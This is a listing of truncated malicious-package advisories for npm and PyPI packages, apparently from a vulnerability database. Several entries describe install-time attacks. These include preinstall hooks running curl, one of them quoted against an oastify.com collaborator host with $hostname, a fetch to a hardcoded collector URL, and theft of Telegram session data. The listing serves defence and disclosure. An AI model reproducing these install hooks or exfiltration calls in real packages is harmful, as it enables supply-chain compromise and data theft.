Malicious Package

Overview action-slack-message-root is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between that organization and this...

Malicious Package

Overview test1gg234 is a malicious package. This package contains malicious code, and its content was removed from the official package manager. While this package might be attempting to impersonate a valid organization, there is no connection between that organization and this package authorship...

MAL-2026-16371 Malicious code in @vite-tab/tabui (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 5178b465689483c264c60f883fe971a7fa7c9332b22a10281b652f6262c7731d The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

MAL-2026-16370 Malicious code in @uol-afiliados/affiliated-config-lib (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2cd4acce57eda08c1b8716118854cad32ecfc59e35e91c03d664ac452ee6716d @uol-afiliados/[email protected] declares a preinstall hook node index.js that shells out via require'childprocess'.exec to run curl...

Malicious code in @uol-afiliados/affiliated-config-lib (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2cd4acce57eda08c1b8716118854cad32ecfc59e35e91c03d664ac452ee6716d @uol-afiliados/[email protected] declares a preinstall hook node index.js that shells out via require'childprocess'.exec to run curl...

Malicious code in math-universe (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 56531c01050420c568bebedd6e3546cc0087600a86d7d19e4954c8277551adb8 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

MAL-2026-16367 Malicious code in math-universe (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 56531c01050420c568bebedd6e3546cc0087600a86d7d19e4954c8277551adb8 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

Malicious code in mathsbase (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b558d1a63774399879f32cafb1ce2bd4366a9f879d5d185dc6eb86df6480fe30 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

MAL-2026-16369 Malicious code in mathsbase (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector b558d1a63774399879f32cafb1ce2bd4366a9f879d5d185dc6eb86df6480fe30 The package was found to contain malicious code or consuming dependency that contains malicious code Source: ghsa-malware...

Malicious code in bytepack-probe-a7x3 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1f158536e9d84e6cee18e2a3ce84869e34f1564ec18a1313a9e8c03b304e3d70 package.json declares a dependency leak-internal whose source is the HTTPS tarball URL https://src-ssrf.bytedance.net/ssrf/probe.tgz rather than a...

MAL-2026-16364 Malicious code in bytepack-probe-a7x3 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 1f158536e9d84e6cee18e2a3ce84869e34f1564ec18a1313a9e8c03b304e3d70 package.json declares a dependency leak-internal whose source is the HTTPS tarball URL https://src-ssrf.bytedance.net/ssrf/probe.tgz rather than a...

Malicious code in blue-string-formatter-utilss (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector de9e55c734c18f91b4b3a043dd6539097aa4e57056ff9dca6df1a9d3a3631c25 The package advertises itself as string-formatting utilities but ships no formatter code. Its main entry payload.js is an IIFE that creates a element...

MAL-2026-16363 Malicious code in blue-string-formatter-utilss (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector de9e55c734c18f91b4b3a043dd6539097aa4e57056ff9dca6df1a9d3a3631c25 The package advertises itself as string-formatting utilities but ships no formatter code. Its main entry payload.js is an IIFE that creates a element...

MAL-2026-16365 Malicious code in my-ctf-helper-script-9921 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 41ee1dafe6dce8750ac695c9d13e13c2808e2f35d94bbbcc41a4444a02541409 On require/import, the package's main module executes a top-level fetch to the hardcoded collector URL...

Malicious code in my-ctf-helper-script-9921 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 41ee1dafe6dce8750ac695c9d13e13c2808e2f35d94bbbcc41a4444a02541409 On require/import, the package's main module executes a top-level fetch to the hardcoded collector URL...

MAL-2026-16366 Malicious code in pullgetsage (PyPI)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 93b751049f78b324983511537b6c053a0ed080639dd7c447d87494eabc134ba3 On import, init.py archives the installer's Telegram Desktop tdata directory %APPDATA%/Telegram Desktop/tdata into a zip named 'aiosendletterlogs' an...

MAL-2026-16357 Malicious code in @asdfaskdjfksadhfkasf/nadaver2 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ffa99497d70b8eae199242d576c111b7b351efcf5d81d613e3f7b43eec257f27 The package declares a preinstall lifecycle script that executes index.js on npm install. index.js uses childprocess.exec to run a curl command whose...

Malicious code in @uh-platform/webcard (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 2b9f7c250a563ff0915cbcdb1e2fa8a402094c030d7223a726c69ffea6de4b8c @uh-platform/[email protected] declares a preinstall hook that runs index.js, which shells out to curl against a unique Burp Collaborator subdomain at...

MAL-2026-16358 Malicious code in @uh-platform/cloud (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 83c05c6e1f06ed934a3ec5f9cc0390716163153b53022c9f414d61f70f1cb451 The package's preinstall lifecycle script index.js runs childprocess.exec of curl "http://$hostname.pa33pg1od9cr4ffnrzec8864jvpmdd12.oastify.com/",...

MAL-2026-16355 Malicious code in gemini-computer-use (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 0f1e56e41d63f9810a1cef681a9d43613ee5e07887785f6777f14f97fc06d847 The npm entrypoint bin/cli.js, invoked via npx gemini-computer-use or node bin/cli.js, spawns bash -c 'curl -fsSL...